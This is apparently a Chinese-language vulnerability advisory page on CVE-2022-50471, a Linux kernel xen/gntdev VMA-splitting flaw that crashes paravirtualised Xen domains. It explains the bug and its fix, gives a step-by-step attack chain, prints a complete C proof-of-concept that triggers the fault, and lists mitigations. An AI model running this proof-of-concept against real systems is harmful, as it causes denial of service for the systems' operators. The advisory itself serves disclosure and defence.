IPBUF安全漏洞报告
English
CVE-2022-50471 CVSS 5.5 中危

CVE-2022-50471 Linux内核xen/gntdev驱动VMA拆分漏洞

披露日期: 2025-10-04
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2022-50471
漏洞类型
内存管理缺陷/引用计数错误
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel xen_gntdev 驱动

相关标签

Linux内核XengntdevVMA拆分内存管理拒绝服务本地提权GPF内核漏洞CVE-2022-50471

漏洞概述

CVE-2022-50471是Linux内核xen/gntdev驱动中的一个内存管理缺陷漏洞。该漏洞源于gntdev驱动代码未能正确处理VMA(虚拟内存区域)拆分场景,特别是在半虚拟化(PV)Xen域环境中。当用户进程创建由多个grant映射组成的gntdev映射,并对这些页面进行munmap操作时,会导致内核在dmesg中记录'BUG: Bad page map'错误消息,同时Xen管理程序(如果使用CONFIG_DEBUG编译)会触发受影响PV域中的通用保护错误(General Protection Fault)。该漏洞的根本原因是gntdev_grant_map结构中的vma字段主要用于检查映射的起始和结束地址,但在VMA拆分后这些地址可能发生变化,并且一个gntdev映射可能关联多个VMA。攻击者可以利用此漏洞通过本地低权限操作导致系统崩溃或拒绝服务,影响系统可用性。CVSS评分为5.5分,攻击向量为本地,需要低权限认证,无需用户交互,对机密性和完整性无影响,但对可用性影响较高。

技术细节

该漏洞的技术原理涉及gntdev驱动中VMA(虚拟内存区域)管理和grant映射引用计数的不一致性。在漏洞版本中,gntdev_grant_map结构体的vma字段被用于跟踪映射的虚拟内存区域,但该字段存在以下问题:1)当VMA被拆分时,map->vma指向的地址范围可能不再准确;2)一个gntdev映射可能对应多个VMA,但代码逻辑仅维护单个vma指针;3)MMU notifier的移除时机不当,可能在仍有VMA引用时被移除。漏洞利用方式如下:攻击者首先通过mmap创建包含两个grant映射的gntdev映射,然后分别对每个页面调用munmap。由于vma字段处理不当,第一次munmap会触发bad pte错误,第二次munmap会引发Xen管理程序的GPF故障。此外,攻击者还可以通过MAP_FIXED方式在相同地址范围重新映射已存在的gntdev映射,利用unmap_grant_pages中的'being_removed'标志绕过清理逻辑,导致Xen报告grant页面正在被解映射并触发GPF。修复方案包括:移除map->vma字段,改用map->pages_vm_start和(map->count << PAGE_SHIFT)确定原始映射范围;将mmu_interval_notifier_remove调用移至gntdev_put_map末尾;使用原子变量防止意外的gntdev映射重用。

攻击链分析

STEP 1
1. 环境准备
攻击者需要在运行半虚拟化Xen域的Linux系统上拥有本地低权限访问权限,并能够访问/dev/xen/gntdev设备文件。
STEP 2
2. 创建gntdev映射
通过ioctl调用IOCTL_GNTDEV_MAP_GRANT_REF,创建包含两个grant映射(两个共享页面)的gntdev映射。
STEP 3
3. 触发VMA拆分
对第一个页面调用munmap,这会触发内核记录'BUG: Bad page map'错误消息,因为gntdev驱动未能正确处理VMA拆分场景。
STEP 4
4. 触发Xen GPF
对第二个页面调用munmap,Xen管理程序(如果使用CONFIG_DEBUG编译)会检测到隐式解映射grant PTE并触发受影响PV域中的通用保护错误(GPF)。
STEP 5
5. 系统崩溃/拒绝服务
GPF导致Xen PV域崩溃或系统不稳定,实现拒绝服务攻击效果。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* CVE-2022-50471 PoC - gntdev VMA splitting trigger * This PoC demonstrates the vulnerability by creating a gntdev mapping * with two grant pages and performing munmap operations to trigger * the bad page map error and Xen GPF. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <sys/mman.h> #include <sys/ioctl.h> #include <errno.h> // Xen gntdev interface structures #define GNTDEV_MAGIC 'G' #define IOCTL_GNTDEV_MAP_GRANT_REF _IOWR(GNTDEV_MAGIC, 1, struct ioctl_gntdev_map_grant_ref) struct ioctl_gntdev_map_grant_ref { unsigned int count; int domid; unsigned int refs[2]; // Two grant references unsigned int notify_offset; int flags; int map_fd; unsigned long addr; }; int main(int argc, char *argv[]) { int fd; struct ioctl_gntdev_map_grant_ref map_req; void *mapped_addr; unsigned long page_size = sysconf(_SC_PAGESIZE); printf("CVE-2022-50471 PoC - gntdev VMA splitting\n"); // Open gntdev device fd = open("/dev/xen/gntdev", O_RDWR); if (fd < 0) { perror("Failed to open /dev/xen/gntdev"); return 1; } // Setup map request with 2 grant pages memset(&map_req, 0, sizeof(map_req)); map_req.count = 2; map_req.domid = 0; // Same domain for testing map_req.refs[0] = 1; // First grant reference map_req.refs[1] = 2; // Second grant reference map_req.notify_offset = 0; map_req.flags = 1; // GNTDEV_MAP_FLAG_READONLY // Map the grant references if (ioctl(fd, IOCTL_GNTDEV_MAP_GRANT_REF, &map_req) < 0) { perror("ioctl MAP_GRANT_REF failed"); close(fd); return 1; } mapped_addr = (void *)map_req.addr; printf("Mapped at address: %p\n", mapped_addr); // Step 1: munmap first page - triggers bad pte error printf("Unmapping first page...\n"); munmap(mapped_addr, page_size); // Step 2: munmap second page - triggers similar error and Xen GPF printf("Unmapping second page...\n"); munmap((void *)((unsigned long)mapped_addr + page_size), page_size); printf("PoC execution complete. Check dmesg for BUG: Bad page map\n"); close(fd); return 0; }

影响范围

Linux Kernel < 3c6a888e352283a14f37b9b433cd598a1a3a7dd0 (稳定版修复)
Linux Kernel < 4fb4053d90caa9985b87ec0e0c32c66a55bdfa3a (稳定版修复)
Linux Kernel < 5c13a4a0291b30191eff9ead8d010e1ca43a4d0c (稳定版修复)
Linux Kernel < 7c16d0a4e6a436b4e7c92bead3fab55aaa4c1141 (稳定版修复)
Linux Kernel < cdafa219ace013c594e2491158ad1b51f9923dde (稳定版修复)

防御指南

临时缓解措施
在无法立即升级内核的情况下,建议采取以下临时缓解措施:1)限制普通用户对/dev/xen/gntdev设备的访问,通过udev规则或文件权限设置仅允许特权用户访问;2)使用非调试版本的Xen管理程序,避免启用CONFIG_DEBUG选项;3)在关键生产环境中部署内核监控工具,实时检测bad pte错误和GPF异常;4)考虑在受影响系统上禁用gntdev功能模块(如果可行);5)实施严格的本地访问控制,限制非特权用户执行mmap/munmap相关操作的能力。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表